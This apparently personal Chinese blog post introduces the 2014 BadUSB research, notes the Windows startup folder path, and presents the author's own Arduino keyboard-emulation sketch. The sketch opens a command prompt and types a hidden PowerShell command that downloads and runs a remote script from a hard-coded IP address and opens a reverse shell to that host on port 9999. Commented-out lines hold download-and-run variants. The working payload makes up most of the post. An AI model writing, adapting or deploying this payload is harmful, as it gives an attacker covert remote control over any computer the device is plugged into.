在2014年美国黑帽大会上,柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”(按照BadBIOS命名)的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
Windows系统自启动路径
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
附自己的一些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| void setup(){ //初始化 Keyboard.begin();//开始键盘通信 delay(1000);//延时1000毫秒, Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 Keyboard.press('r');//按下r键 CMD delay(500); Keyboard.release(KEY_LEFT_GUI);//松掉win键 Keyboard.release('r');//松掉r键 Keyboard.println("cmd"); delay(500); //Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口 //Keyboard.println("$clnt = new-object System.Net.WebClient;$url= 'http://47.93.12.104/water.ps1';$file = 'D:\\melon.ps1';$clnt.DownloadFile($url,$file);D:\\melon.ps1;"); //.println("powershell -w hidden while(1){IEX (New-Object Net.WebClient).DownloadString('D:\\melon.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 47.93.12.104 -port 9999}"); Keyboard.println("powershell -w hidden while(1){IEX (New-Object Net.WebClient).DownloadString('http://47.93.12.104/water.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 47.93.12.104 -port 9999}"); Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN); //释放回车键 Keyboard.end();//结束键盘通讯 }
void loop()//循环,这里的代码 { //循环体 }
|